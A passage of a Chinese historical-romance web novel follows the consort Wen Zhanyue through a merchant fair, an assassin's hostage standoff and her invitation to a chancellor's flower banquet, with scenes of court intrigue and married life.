但却是句大实话。 秦落雪垂眸,看来真的是自己眼花了。 谢洲白同她一样刚从边疆回来,哪里有机会认识温斩月,一定是她这几日心绪不稳,一不小心看错了而已。 “小姐,你就别再想着谢公子了。”绿珠劝说道。 “您总是念着他,想着他,这对他不好,对您也不好。” “你说的是。”秦落雪掩去眼底的伤心。 “走吧,去东六街。” …… 东六街,珍宝楼。 三日之期已到,招商会正式开始。 京都人人都知道这次招商会夜王殿下和上官公子都会参加,几乎全京都城里的人都来观望。 只不过珍宝阁空间有限,容纳不了太多的人。 一些身份贵重的来客都被安排在二楼雅间里,剩余的人都在一楼大厅。 但人实在是太多了,就连门口都围着一群乌泱泱的看客。 “真热闹啊,东六街什么时候这么繁华过?” “谁说不是呢,听说夜王殿下和上官公子都会来,我估计很多人都是冲着这两位神仙来的。” “说的是,你看那边打扮得花枝招展的小姐们,肯定是想要借此找个好夫婿。” “夜王殿下就算了吧,倒是上官公子可以考虑。” “就你这模样,你还挑上了,我们一没钱二没势,连珍宝楼的大门都进不去,想要得到这两位神的青睐,还是下辈子投个好胎吧。” 众人议论纷纷,声音嘈杂,好不热闹。 梨落今日穿了一件红衣,飒爽漂亮,十分干练。 她站在圆台中央,朝着众人看了一眼。 “感谢大家在百忙之中抽出时间来参加招商会,今日到场的所有人,每人一份我们东六街专门研发的小吃拼盘,接下来请大家欣赏歌舞,等开场舞结束,我们的招商会正式开始!” 话音刚落,便有不少丫鬟装扮的人手里端着食盘,放到每一个人的位置上。 那些门外的看客也想试试,奈何没有身份,只能眼巴巴地瞅着。 “这都是什么东西啊?好难闻!”相府千金苏皖书一脸的嫌弃。 “你们珍宝楼都是这样糊弄人的吗?” “苏小姐。”梨落丝毫不慌,“有些东西闻着虽然不怎么样,但是尝一口,味道绝对是你前所未见的。” “我不吃!”苏皖书嫌恶地往后躲了躲。 “你也不看看我是什么身份,这种东西谁爱吃谁吃,反正我不吃,快快快,拿远一点,我都快要被它熏吐了!” 苏皖书的态度让其他千金小姐也都望而却步。 她们今日来除了看看珍宝楼到底要做什么之外,剩下的就是想要为自己挑个好夫婿。 吃这种东西,实在是有失体面。 “这东西这么臭,怎么下得去口啊。” “就是,我看真是想赚钱想疯了,何必这么大费周折,干脆把泔水桶里的东西拿出来卖算了。” “你别说了,我有点恶心。” “不行不行,我真的想吐。” 众人你一言我一语,梨落站在台上,想要解释,可人群的声音太大了,她说什么根本无法传达出去,只能站在台上干着急。 “安静。”忽然,一把利剑从二楼破风而来,直接扎在圆台之上。 所有人全都安静下来。 温斩月推开雅间的门,从二楼栏杆上一跃而下。 她犹如神明一般降落。 梨落的眼神在一瞬间亮了,她将手里的小吃拼盘递给温斩月。 温斩月接过来,朝着众人扫了一眼。 “东西好不好吃要尝过才知道,只凭着你们对固有东西的固有印象,这辈子也就只配当个井底之蛙了。” “你什么意思?”苏皖书皱眉。 “就是说你没见过世面。”温斩月冷笑道:“堂堂相府千金,不会连这道美食都没听说过吧,这可是外邦人国宴上最著名的一道菜,光是制作这道菜的工序就有九九八十一道,你没听过,本宫不怪你,但你也该装一装,免得让人觉得你这位相府千金不过如此。” 苏皖书被这句话噎住。 她眼珠子一转,冷嘲道:“既然你见识过,不如你先尝尝,也好给我们大家开开眼。” 苏皖书的话还没说完,温斩月已经拿起拼盘里的东西开始品尝了。 京都人人都好面子,生怕自己被人说没见过世面,全都跟着温斩月开始尝试。 起初他们都是皱着眉头的,可是东西吃到嘴里,全都惊讶了起来。 “这东西居然这么好吃?这也太不可思议了。” “怎么会有人把豆腐这样制作,真好奇这九九八十一道工序到底是什么?” “我就说夜王妃怎么会莫名其妙地帮人说话,原来是真的见过这好东西啊。” “这东西我也见过的,只是刚才没认出来而已。” “真的假的?你不会是装的吧?” “我才没有,我行走外邦,的确见过他们在国宴上用这道菜。” 外邦国宴,九九八十一道工序,这些话都是温斩月编瞎话骗人的,但京都城人鱼混杂,最会的就是人云亦云了。 达到自己的想要结果就行了,至于手段,不重要。 “大家品尝完小吃,还会给诸位送上清甜可口的柠檬水,以免大家小吃吃多了上火。”梨落说着,又吩咐手底下的人给每桌上了一壶柠檬水。 所有的壶都用琉璃制作,透明的,装着配好的柠檬水,看着就有几分雅致。 “不错不错,真不错。” “还是这珍宝楼的老板会做生意,怪不得连上官公子都来捧场。” “要我说,还是夜王妃的面子大,我听说这珍宝楼的老板是夜王妃的闺中好友呢。” “早知道夜王妃手段如此高明,我也该和她多走动走动。” “下次聚会我也要给夜王妃递请帖。” 众人纷纷赞叹,梨落从圆台上走下来,一群舞姬缓步走上前去,奏乐想起,开场舞正式跳起来。 温斩月端着柠檬水来到二楼雅间。 推开门,容妄正坐在里面,盯着面前的小吃拼盘蹙眉。 “不喜欢?”温斩月走到跟前坐下。 容妄摇摇头,“只是觉得从未见过这些东西。” “我也没见过。”温斩月喝了一口柠檬水,“这些奇思妙想的东西全都是梨落搞出来的,我就是跟着她见见世面。” “你没有怀疑过她吗?”容妄问出心底的疑问。 温斩月动作一顿。 怎么可能没有怀疑过呢? 可那是梨落,就算怀疑,她也相信梨落不会害她。 “每个人都有秘密,这并不奇怪。”温斩月抬眸,对上容妄审视的眼神。 “就好比王爷你,我们都已经是夫妻了,王爷不还是没有摘下自己的面具吗?臣妾身上的伤疤王爷都见过了,可臣妾连王爷的真容都不知道。” “你在意吗?”容妄摸着面具。 “本王只是怕面具之下的脸会让你失望。” “我不会。”温斩月笃定。 “喜欢上王爷靠的是一种感觉,和王爷长什么样子没关系,但若是王爷没有准备好,也不用急于一时摘下面具。” “其实也没什么,你想看,本王便给你看。”说着,容妄便要摘下面具。 就在这时,门外突然有人敲门。 温斩月起身,打开房门。 一名小厮规规矩矩地立于门外。 “王妃,对面雅间的客人有请。” “我知道了。”温斩月转过头,看向容妄,“我出去一趟,乖乖等我回来。” “是谁找你?” “上官白。” “他找你做什么?”容妄眼神不悦。 温斩月耸耸肩,“我总要去了才知道,放心,他跟我说什么,我都会一五一十的告诉王爷的。” 容妄虽然不喜上官白,却也知道,今日这种场合,不适合闹事。 温斩月离开后,容妄便来到窗前,兴致缺缺地看着台下的舞曲表演。 他立于窗前,瞬间引起了一楼大厅所有人的注意。 “快看,是夜王殿下。” “好想上去跟他打个招呼啊,可是我不敢,有人陪我一起吗?” “你疯了吧?那可是我们天月的杀神,躲都来不及,怎么还往前凑呢。” “就是,夜王殿下这样的人就只能远观不能亵玩。” “你们没听说吗?之前夜王妃耍了夜王殿下,新婚之夜,殿下差点把王妃射死!” “我知道我知道,这件事情闹得还挺大的,温家人都被抓来吊在城墙上呢。” “是吗是吗?那为什么后来王爷又重新迎娶了王妃啊。” “估计是英雄难过美人关吧,刚才王妃的样子你们也都看见了,长成那样,很难不让人心动啊。” “可我听说秦家二小姐长得也好看,王爷为何没娶啊,两人可是从小一起长大的情分呢。” “这谁说得准。” 开场舞就在众人你一言我一语中,慢慢退场。 梨落走到舞台上,宣布招商会正式开始。 她将准备好的小册子给每个人都发了一份,确定大家都拿到了以后,她才开口道:“这是招商意向书,大家可以先看看。” “相信大家也都知道,我把东六街整条街都盘下来了。” “东六街的生意一直都很惨淡,和西四街根本没法比,但再惨淡的生意落到我的手里,我都会把它经营得爆火。” “除了诸位刚才尝试过的小食拼盘和柠檬水,我还打算打造着一条繁华的不夜城。” “不夜城,顾名思义,就是晚上也会做生意的地方,到时候要多热闹有多热闹,根本不愁赚不到钱。” 梨落的话音刚落,周围的人群瞬间炸开了锅。 今日来的人里面,不乏有许多生意人,不夜城的想法他们不是没有过,可是京都城里有宵禁,想要开不夜城,首先要拿到特权书。 那特权书是什么东西,岂能随随便便拿到。 “我看你真是胡说八道!”苏皖书不屑地冷嗤一声。 “整个京都城,谁不知道夜里做生意是要拿到特权书的,你空口说大话谁不会啊,有本事拿到特权书让我们都瞧一瞧。“ “苏小姐说的极是,这招商意向书的确是不错,可是没有特权书,不就是剃头挑子一头热吗?”太傅之子慕容宸附和道。 有了这两个领军人物,大家都纷纷质疑起梨落来。 “说的是呢,画大饼谁不会啊,要是没有特权书,全都白搭。” “她和夜王妃关系匪浅,说不定可以拿到特权书呢。” “你以为特权书是菜市口的大白菜啊,说有就有,人家上官公子背后有太后撑腰,不照样拿不到吗。” “说的也是,难道她真在诓我们?” “我们的钱也不是大风刮来的啊,说骗就骗,这也太丧良心了。” 楼上的温斩月听得分明,她刚要起身,就被上官白拦了下来。 “若是梨落姑娘连这点麻烦都解决不了,很难让人信服她。” 温斩月看了一眼上官白,又把目光放在一旁的秦落雪身上。 “本宫倒是不知道,秦二小姐和上官公子也有私交。” “夜王妃误会了。”秦落雪垂眸,“我刚回京都,也想做点小生意,所以才去找了小公爷,但小公爷拒绝了我的提议,他认为梨落姑娘的买卖更好,甚至假以时日,会超过西四街。落雪从未听说过,便也想来见识见识,今日一看,果然是落雪才疏学浅。” 温斩月想到一开始和秦落雪结仇就是因为那几本书。 看来她猜得不错,从一开始,秦落雪就打定了主意想要经商。 这个女人,倒是比她想的有趣些。 “秦二小姐谦虚了,本宫相信秦二小姐秀外慧中,本事不小,只不过你遇到的对手是梨落,在经商这件事情上,她极有天赋,不是一般人能比得上的。” “王妃教训的是。” “行了行了。”上官白打着圆场。 “今日找王妃你来,就是想带着秦二小姐一起,秦二小姐并非是个草莽,我听过她的主意,若是她能一起加入,岂不是如虎添翼?” “这种事情本宫说了不算,你找错人了。”温斩月起身。 “做生意这种事情,本宫向来都是交给梨落的,秦二小姐有做生意的想法,可以去跟梨落聊聊,本宫就先不奉陪了。” “等等!”秦落雪叫住温斩月。 第40章 半路刺杀 温斩月站住身,偏过头,满脸狐疑。 “还有事?” “王妃当真愿意我加入?” “只要你能说服梨落。” “为什么?”秦落雪追问。 温斩月原本就拧起来的眉头拧的越发紧了。 “什么为什么?” “为什么你会同意?”秦落雪似乎是不敢相信,“你不是最讨厌我吗?” “本宫何时讨厌过你?”温斩月觉得莫名其妙。 “顶多是不怎么喜欢就是了,毕竟你是容妄的小青梅,本宫是夜王妃,你还指望本宫能对你有什么好脸色吗?” “你好好想想,你回到京都,本宫可曾真的针对过你什么吗?” “倒是你。”温斩月不屑的冷哼。 “从中作梗挑拨离间,让皇后仇视我,又在林清霜面前胡说八道,在本宫的婚宴上胡闹,甚至……” 想到绿珠,温斩月及时刹车。 “这怎么看都是你讨厌本宫吧,怎么到头来还反咬一口,说起本宫的不是了。” “这些,你都知道。” “不然呢?”温斩月反问。 秦落雪藏在袖子里的手捏紧,眼底的不甘和脸上的羞愤形成了鲜明对比。 一旁的上官白本来还在看好戏,一听到秦落雪居然做过这么多对不起温斩月的事情,当下把心提到了嗓子眼上。 他之前都没得罪过温斩月,就被温斩月那般粗暴对待。 这下他又介绍一个仇人给温斩月,温斩月不得杀了他啊。 想到这里,上官白就忍不住缩了缩脖子。 “那个,二位神仙打架,不要殃及无辜啊。”这话一出,温斩月和秦落雪双双看向上官白,上官白脸色惨白,顿时有种小命不保的感觉。 收回目光,温斩月看向秦落雪。 “你我都是女子,女子立世本就艰难,本宫为难你做什么?” “只要你日后别来觊觎容妄,本宫也只当你是普通女子,不会处处针对你的。”温斩月说完,头也不回地离开。 秦落雪愣在原地。 她觉得自己像个小丑,争夺来争夺去,结果对方根本没有把她放在眼里。 “我是不是很可笑?”秦落雪看向上官白。 上官白点点头,又急忙摇摇头,“秦二小姐何必想这么多,既然夜王妃已经松了口,当务之急,是该去找梨落姑娘谈生意了,要知道,这生意这么抢手,要是迟一步可就没有位置了。” 上官白的话提醒了秦落雪。 现在不是想这些的时候,她得把这笔生意握在自己的手里。 只有她能赚钱,才能实现自己的价值,以后在定国公府也会有自己的一席之地,到时候就算是选婚事,也能有发言权。 而不是什么都听旁人的。 想起送来的那些画像,秦落雪就忍不住作呕。 在她爹眼里,她就是个工具,连四五十岁的人他爹都放进了名单里,就因为那人身后有点权势。 便不顾她的死活,执意要她嫁人。 她已经失去了谢洲白,嫁给谁她都无所谓的,但如果能选,她还是想为自己争取好一点的婚事。 这样才能对得起,她放弃的谢洲白。 温斩月离开雅间后,便站在二楼走廊里,看着梨落展示着手里的特权书。 特权书一出,那些人通通都闭嘴了。 谁都知道特权书是个多难得的东西,但梨落能搞到特权书,足以说明,梨落的背景怕不只是夜王妃闺中密友这么简单。 人类是最会脑补的。 很快他们便为梨落编造了一个新的身世。 招商会进行得十分顺利,对于这桩新奇的生意,众人都抱着想要试一试的想法,只有相府千金苏皖书丝毫不在意。 她与林轻盈是好友,从林轻盈的口中听了不少温斩月的话。 虽然梨落才是珍宝楼的老板,但她还是不喜欢,就如同她不喜欢温斩月一样,看到温斩月就觉得晦气。 “走吧,这破招商会也没什么意思。”苏皖书从位置上起身。 她刚要准备离开,忽然听到咔嚓一声巨响,二楼的栏杆被撞毁,温斩月和一个身影从二楼摔下。 她还没来得及惊呼,容妄也从二楼飞身而下。 “不好了,杀人了!” “杀人了,杀人了,快跑啊!” 众人顿时乱作一团,苏皖书直接被人流挤着摔倒在地。 梨落也被吓到了,她没有什么武功,遇见这种时刻,只能找个地方躲起来。 刺客身手不错,但温斩月实在是太警觉了。 他刚一靠近,温斩月便察觉到了,两人纠缠之下,才摔下了楼。 那刺客本想着趁乱了结了温斩月,没想到容妄从天而降加入战局,他打一个人都费劲,更何况是打两个。 眼瞅着打不过,刺客便想跑。 但容妄哪里肯给他这个机会,好几次都把人拦了下来。 刺客见打又打不过,跑又跑不掉,眼眸一转,盯上了一旁瘫在地上的苏皖书。 他一个侧身飞踢,从容妄手中挣脱,抓住苏皖书当人质。 “都别过来,否则我就杀了她!” “别别别。”苏皖书眼泪吧嗒吧嗒地往下掉,“我可没有招惹你,你杀谁就杀谁,为什么要牵连无辜呢?” “少废话,再多说一个字,老子现在就了结了你!” 容妄倒是不在意苏皖书的死活,他刚要上前,就被温斩月拦住了。 “她是丞相的女儿。” “那又如何?”容妄阴沉着脸。 “动你者,死。” “他的命我是一定要的。”温斩月走上前,“但相府千金不能有事。” “放了她。”温斩月看向刺客,眼中嗜血。 “本宫可以考虑给你一个体面一点的死法。” “你非要杀了我,那老子就拉着她一起陪葬!”刺客手中的刀已经划破苏皖书的脖颈。 苏皖书当真是被吓到了。 她堂堂一个相府千金,哪里被人这么对待过。 “温斩月,你就放了他吧,我的命比他值钱,我要是有个三长两短,这珍宝楼别想开下去了!”好好的招商会突发这样的变故,是所有人都没有料到的。 二楼的秦落雪和上官白听到动静也都从雅间里出来了,一看这个情形,秦落雪瞬间如遭雷击。 糟了,她怎么把这茬给忘了? 要是现在下去阻止的话,那谋杀王妃的死罪可就摁在她头上了,但要是放任不管,苏皖书有个三长两短,别说是在京都城立足,她连活命都是问题。 温斩月朝着容妄使了个眼色,随后挡在刺客的面前,遮住了他的视线。 “既然你非要如此才能放了她,那本宫便答应你吧。”温斩月说着,朝着苏皖书伸出手,“你放她过来,本宫就饶你一命。” “你当老子是傻子吗?”刺客并不上当。 “要是放了她,老子肯定活不了,现在就给老子准备一辆马车和万两黄金,等老子出了城,自然会放了她!” “没有商量的余地了吗?” “老子没有再和你商量,只是通知你,半炷香的时间老子看不到这些,立刻杀了她给老子铺路!” 苏皖书本来就害怕,被这么一吓,看着温斩月的目光里越发憎恨。 “温斩月,都怪你,他是为了杀你的,你必须要救我,否则,我做鬼都不会放过你的!” “废话真多。” 温斩月有些厌恶。 她最讨厌的就是蠢人了。 只不过今日是梨落的招商会,苏皖书又是相府的千金,她不想树敌。 “本宫身上只有这么多,你先拿着,剩余的本宫再去给你凑。”说着,温斩月直接从怀里抛出一个钱袋子。 钱袋子离手的瞬间,温斩月侧身飞向刺客。 身后的容妄一支飞镖擦着温斩月的耳坠,直接射向刺客。 那刺客反应不及,当场就被飞镖通了个对穿。 一时间,鲜血四溅,苏皖书当场便晕了过去。 “这么不禁吓。” “也不是所有人都是你,稳得住。” “王爷配合的不错。”温斩月笑着看向容妄。 容妄的脸色却铁青,“你打算怎么处理?” “还能怎么处理。”温斩月抱起地上昏迷的苏皖书,“我带她去楼上,烦请王爷去找个大夫来,另外梨落……” 温斩月朝着角落里躲藏的梨落看过去。 “今日之事记得封锁消息,处理好后事。” “好,你放心。”解决了刺客,梨落便从角落里出来了。 招商会开到一半,她得继续。 温斩月抱着苏皖书上了二楼雅间,等到大夫来后,她便自从退让到了一旁。 大夫把过脉,开了一些静心的药方。 “苏小姐并无大碍,只是被吓到了而已,这些药喝上个三天,估计就好得差不多了。”说着,大夫将药方递过来。 温斩月看都没看,便交给苏皖书的丫鬟去抓药。 自家小姐出了事,丫鬟也不敢乱来,急忙抓了药熬好后,给自家小姐灌了下去。 苏皖书晕的快,醒的也快。 睁开眼的第一件事便是拿起手边的药碗砸向一旁的温斩月。 “你这个贱人,都怪你!你刚才是不是想杀了我!” “本宫若是想杀你,你活不到现在。”温斩月躲过药碗,皱起眉头,“这个药碗是个古董,价值一千两黄金,稍后送小姐回去的时候,本宫会跟相爷算账的。” “你还敢跟我要钱?”苏皖书不可置信。 温斩月走过来,用手掐着苏皖书的脖颈,“只要本宫想,你现在就能死,是本宫救了你,若你还这么不识抬举,本宫可就要问责于你了。” “你爹是相爷,可本宫是夜王妃,何为尊卑,你可清楚?” 被温斩月近距离的一吓,苏皖书瞬间理智了不少。 她听林轻盈说得太多,便把温斩月当成了市井刁奴,却忘了温斩月如今的身份可是夜王妃,比她父亲还要尊贵一些。 若是温斩月真的跟她计较,她怕是免不了要受些皮肉之苦。 苏皖书回过劲来,一双水眸里又开始蓄满晶莹的液体。 温斩月愣神,瞬时手一松。 “这么爱哭怎么不去西北一带?”温斩月无语地看向一旁的丫鬟,“照顾好你家小姐,本宫派人送你们回去。” “奴婢知道了。” “温斩月。”苏皖书可怜巴巴地抬起头。 “那个药碗还要我赔吗?” “看本宫心情。”温斩月转身离开。 苏皖书用手背抹掉自己的眼泪,忍不住笑出声来。 不知道为什么,她感觉这个夜王妃也没有轻盈说的那么可怕,看到她哭,便不为难她了。 温斩月派人送苏皖书离开的时候招商会已经结束了。 此次收获颇丰,梨落做收尾工作,忙到连影子都看不到。 人群散去,温斩月找了一圈都没找到梨落的身影,只能留下一张字条,便打算打道回府了。 珍宝楼门外,王府的马车等候着。 温斩月跳上马车,看到容妄在里面假寐。 “等很久了吗?”温斩月凑过来,在容妄唇边轻轻一吻。 容妄握着温斩月的手,“还好,不算太久。” “那回府吧。”温斩月笑笑。 马车一路朝着王府的方向而去。 到了地方,下了马车,容妄一路抱着温斩月往锦绣阁走。 春夜早就备好了热水,看到自家王爷王妃这幅样子,识趣地关好锦绣阁的大门,吩咐其他人都在外等候着。 良辰美景想上前伺候,都被春夜呵斥。 “这个时候闯进去,你们是嫌自己的命不够长吗?”春夜白了二人一眼。 “你们以前是干什么的我管不着,但现在在王府,就不能生出二心,不然王妃的手段你们是见识过的,生不如死不是一句玩笑话。” 跟在温斩月的身边久了,春夜说话也开始逐渐嚣张起来。 良辰本就没打算生出二心,她已经见识过了王妃的手段,只不过是想要听个墙角罢了,毕竟之前都听说夜王殿下那方面不太行。 “春夜姑娘,我就想问一句,殿下是不是真的不太行啊?” “你找死是不是!”春夜作势要给良辰一巴掌,“连主子们都敢议论,我看你是真的活腻了,你想死别拉上我,我可不想年纪轻轻就没了。” 良辰现在是摊牌了,不装了,说起话来自然也就没个边界感。 “我偷偷议论一下,不会有人知道的,你就告诉我吧,我是真的很好奇。” “我也有一点。”美景不好意思地举起手。 春夜一脸的无奈,只能四处瞧一瞧,确定没有人看过来,这才压低了声音道:“那都是传言,咱们殿下啊,那方面非常的持久,可以折腾一整夜呢……” 第41章 相府的赏花宴 外面的议论锦绣阁里的人并不知道。 好几天的冷战加最近的忙碌,两人久旱逢甘霖,正不知道天地为何物。 折腾到了半夜,容妄才吩咐送水进来。 清理干净秽物,温斩月早已累得不省人事。 她窝在容妄的怀里,沉沉睡了过去。 倒是容妄精神十足,拿着折扇轻轻地给温斩月扇着风,这一幕被退出去的美景看到,顿时羞红了脸。 除了锦绣阁,便迫不及待地拉着良辰说了起来。 “你刚才瞧见了吗?王爷对王妃是真心好呢。” “倒是和传言不太一样。”良辰端着水盆站在走廊里。 “皇后娘娘提起王妃的时候,说她是个毒妇,残害王爷,可我看,人家小两口的日子过得挺美的。” “那还要把消息传给皇后娘娘吗?” “传。”良辰点点头。 “不传的话,你身上的毒怎么办?” “可万一要是被发现了……”美景胆怯地低下头。 “都怪我,是我不好,拖累了你,不然你也用不着替皇后娘娘做这种事情。” “不打紧的。”良辰垂下眼眸。 美景胆子小,禁不住吓,王妃跟她说的事情她还是保密为好,不然谁知道又要惹出什么乱子来。 一夜过去,王府里的流言蜚语又多了一些。 “听说了吗?昨夜锦绣阁又是折腾到半夜呢。” “也不知道王妃到底使了什么手段,竟然迷得王爷日日都往锦绣阁跑。” “咱们府上也没有别的妃嫔,王爷年轻力壮,欲望自然就强,除了能去王妃那里,还能去什么地方。” “可王妃没有入府之前,王爷可是以禁欲著称的。” “你要是长王妃那般模样,你也去爬王爷的床,说不定王爷也会对你流连忘返的。” 下人们的闲言碎语传到春夜的耳朵里,她带人把说闲话的奴婢们都好好教训了一顿,可回到锦绣阁,不免还是生气。 容妄一大早就被青澜叫走了,此时锦绣阁里就剩下刚刚醒来的温斩月。 瞧见春夜满脸怒色,温斩月蹙眉。 “怎么了?”温斩月出口问道。 “没什么,就是那些狗杂碎总喜欢说王妃的闲话。”春夜将梨落派人送来的账本整理好,放到书桌上。 “王妃,梨落姑娘说最近太忙,这些账本得您自己看了。” “本宫知道了。” 温斩月从床上起身,来到书桌前坐下。 “他们都说什么了?” “还能说什么,就还是那些话呗。”春夜气呼呼道:“他们都不了解王妃,就知道胡说八道,奴婢跟在王妃身边也不长,但奴婢就是知道,王妃是天底下最好的人。” “呵。”温斩月笑出声来。 以往说她什么的都有,还是第一次听人说她是个好人。 要知道,就连梨落都不会这么说她的。 “王妃笑什么,奴婢可是说错了什么?”春夜追问。 温斩月摇摇头,“没什么,本宫要花时间把这些账本都看完,你若是闲着无事,就来帮本宫一起整理吧。” 温斩月算账的本事不如梨落,但应付这些账本足矣。 她将梨落送来的账本一一盘查清楚后入库。 做完这一切,温斩月伸了个懒腰,打算去东六街看看开业的情况,刚从位置上起身,就看到良辰美景从外面走来。 “王妃,相府送来了请帖,邀请王妃参加明日的赏花宴。” “相府?”温斩月接过请帖,微微蹙眉。 虽然她和苏皖书算是认识,可两人之间并不愉快,这个时候苏皖书给她下请帖,莫不是有诈? 但无论如何,都要去一趟。 相府的宴会,去的人都是京都中有头有脸的,她正好可以借此机会结交,顺便将义父送来的棋子一一安插下去。 不过,她既然已经决定要去参加相府的赏花宴,自然也要送一份礼物给苏皖书。 送礼是个技术活,她不能敷衍了事。 “良辰,你去打听打听,看看苏皖书都喜欢什么,然后让春夜去库房找一件好宝贝,本宫明日参加宴会时要用。” “王妃要是真想送点什么讨苏小姐欢心,不如就送她一个男人吧。” “哦?”温斩月抬起头,“可是有什么说法?” “王妃还不知道吧,皇后娘娘的嫡长女,也是我们的长公主是苏小姐的好友,苏小姐年长公主几岁,两人关系十分要好。” “奴婢也是偶然听到,苏小姐抱怨相爷要她嫁人,但她一直都挑不到中意的。” “若是王妃能为苏小姐找到一个心上人,说不定能解决她一大烦心事呢。” 温斩月思索着。 苏皖书的确也到了适合婚配的年纪,可她上哪里去找个男人呢? 有了,她隔壁院里不是就住着一个上好的人选吗。 …… 梨落把宅子的后院全部都打造成了工坊,所有小吃街的原料都从她的工坊里走,她手里握着货物原料,狠狠地赚了一大笔。 忙起来梨落谁都顾不上,自然也就没再管过谢洲白。 谢洲白也很安静,住在宅院里养伤,从不给梨落添麻烦。 温斩月来时,便看到谢洲白自己一个人坐在院子里写写画画,她猛地凑近,吓得谢洲白浑身打了个激灵。 “你是何人?”谢洲白警惕地问道。 温斩月环抱着胸,“你连本宫都不认识?” “你是……”谢洲白打量着温斩月的穿着。 “本宫乃是夜王妃。”温斩月唇角带着笑,“月公子是本宫挚友,她救了你无处安置,便央求本宫将你收留。” “怪不得。”谢洲白低头行礼。 “粥白参见夜王妃,也多谢月公子救命之恩,王妃放心,等粥白伤彻底养好,肯定会离开,不会给王妃添麻烦的。” “那不行。”温斩月拒绝。 “这些时日,你吃本宫的,用本宫的,住本宫的,要是不收一点利息,本宫如何安心?” “这段时间粥白一直没有上任,等粥白拿了俸禄,便来还给王妃。” “本宫不要钱。”温斩月坐下。 “你只要陪着本宫去参加相府举办的赏花宴,即可。” “王妃这是何意?”谢洲白眼中闪过不解。 温斩月挑眉,“相府千金苏皖书才气斐然,吟诗作画样样精通,她举办赏花宴上不了要有些附庸风雅的活动,本宫对这些不感兴趣,去了赏花宴只怕是会露怯,听闻谢公子可是通过科举入仕,若是能帮本宫一二,那也算是解决了本宫悬在心头的一件要事。” “王妃若是不喜欢,可以不去。” “本宫去自然有本宫要去的道理,你是在质疑本宫的决定吗?” 温斩月说话时极有压迫力,哪怕是谢洲白这么一个大男人,也忍不住胆寒。 “既然是王妃吩咐,那粥白自然从命。” “识相。” 温斩月伸出手,拍拍谢洲白的肩膀。 “好好休息,本宫会让人送一套体面一点的衣服来,毕竟是去相府,若是冲撞了贵人,那便不太好了。” 谢洲白点头,等人走远了,这才松了口气。 这个夜王妃真是喜怒无常,也不知道月公子那样好的人,怎么会跟王妃有关系? 若是有机会,他一定要劝月公子离夜王妃远一点。 …… 相府,宁水园。 苏皖书见丫鬟兰竹回来,急忙上前追问,“夜王妃可收下请帖了?” “回小姐的话,收下了。”兰竹拿起熬好的药端过来,“小姐莫要再操心别的了,喝了这碗药早点休息吧。” “太苦了,我不喝。”苏皖书推拒道。 兰竹只能耐心劝说,“明日赏花宴要是忙起来,小姐的身体肯定会吃不消的。” “那我也不喝。”苏皖书的倔脾气上来,谁劝都不好使。 “明日的赏花宴有轻盈和长公主在,我倒要看看那个夜王妃能怎么嚣张。” “小姐。”兰竹无奈。 “奴婢是真的看不懂了,夜王妃也不曾招惹过您,您为何非要跟她过不去啊。” “她是没有得罪我,可她欺负轻盈了,轻盈是我的好姐妹,欺负轻盈就是和我过不去,我帮忙教训教训怎么了?” 兰竹摇摇头,自家小姐身边的好友那么多,她最瞧不上的就是林轻盈。 一个妾室出生的庶女,爬到嫡女头上也就算了,还煽风点火每次找她家小姐都说一些有的没的,完全就是把她家小姐当枪使。 可偏偏她家小姐就是十分相信这个林轻盈,都快到走火入魔的地步了。 “小姐。”兰竹苦口婆心道:“林二小姐说出来的话有几分真假,您可曾真的想过?她那样对你只是因为您对她有用,依奴婢看,夜王妃比她可坦诚太多了,您还是擦亮眼睛,好好瞧瞧才是。” “你这个死丫头,这是在说我眼瞎吗?”苏皖书没好气地戳了一把兰竹。 “轻盈就算有千般万般不是,她也是我的好姐妹,夜王妃只是个外人,我当然是站在我好姐妹这一边了。” “行吧,奴婢觉得等小姐有一天被林二小姐卖了,可能您都不知道,不但如此,估计还会帮着林二小姐一起数钱呢。” “你是说本小姐傻?” “奴婢不敢。” “我看你敢得很。”苏皖书给了兰竹一巴掌。 这巴掌不轻不重,打在兰竹身上,就跟没打一样。 但总算可以让兰竹闭嘴了。 苏皖书自己一个人待着,好好的想了想兰竹说过的话,的确,温斩月是没有那么让人讨厌,但不讨厌并不代表就是喜欢。 要怪只能怪温斩月自己树敌太多,招惹到了轻盈头上。 反正明日就是赏花宴了,有长公主在,她要给林轻盈好好出出气。 …… 第二日清晨。 温斩月先醒来的,昨晚容妄后半夜才回来,拉着她又是一顿欢爱。 她浑身的骨头都要被碾碎了。 以前从不知为何妓院青楼的声音那么好。 现在才知道,原来欢爱如此让人愉悦。 察觉到怀里的人要紧,容妄一把将人揽回来,“别走,再赔本王睡一会。” “王爷自己睡吧。”温斩月挣扎道。 但容妄的力气实在太大,温斩月挣扎了半天,也没有挣脱。 “臣妾应了相府的邀约,今日要去参加赏花宴的,若是臣妾失约,少不了又要传出一些对王爷不利的流言来。” “本王不怕。” “臣妾怕。”温斩月说着,吧唧亲了一口容妄。 “臣妾总不能一直被人说是红颜祸水吧。” 容妄睁开眼,目光里依依不舍。 “是苏皖书搞的鬼吧,你与她又没什么交情,相府举办赏花宴邀请你做什么,碍事。” “臣妾会早点回来的。”说着,温斩月又亲了亲容妄。 再怎么不舍,容妄还是放手了。 “早点回来,本王等你一起回来用晚膳。” “好。” “一定要回来,否则,本王不用生息粉。” “这不是我用来威胁王爷的吗?怎么到头来,变成是王爷威胁我了?”温斩月嘴角带着笑意。 “王爷尽管放心,臣妾这么心疼王爷,定不会让王爷受毒发之苦的。” “那,本王等你。” “好,臣妾去了。” 温斩月没有再逗留,换了一身水蓝色的纱裙,便出门了。 谢洲白在王府门口等着,看到温斩月出来后,先是行了行礼,这才示意温斩月上马车。 温斩月也不客气,上去以后,朝着谢洲白使了个眼色。 谢洲白摇摇头,“这于理不合,我不能和王妃同坐一辆马车。” “事真多。”温斩月蹙眉。 “王府没有多余的马车,你若是不上来,就只能走着去了,别怪本宫没有提醒你,夜王府距离相府尚且有段距离,你身上的伤还没好,要是更严重了,欠本宫的人情可就再也还不清了。” 这话说到了谢洲白的点子上,他犹豫片刻,还是上了马车。 “唐突了。”谢洲白坐在离温斩月十万八千里的地方。 温斩月顿时觉得有些好笑。 “你这是怕本宫吃了你不成?” “男女授受不亲。”谢洲白满脸局促。 “王妃好心载我一程,我若是还不识抬举,就有点说不过去了,没关系,这马车很宽敞,我坐在这里也很好。” 谢洲白这么好玩,是温斩月没想到。 她忽然觉得秦落雪真是有点捡了芝麻丢了西瓜。 不过没事,正好便宜苏皖书了。 第42章 不知道心动为何物 京都城里,收到相府请柬的人不少。 温斩月到了地方,刚一下马车就见到了不少熟人。 秦落雪,林轻盈,还有一些她虽然没有见过面,但被梨落提前科普过的人。 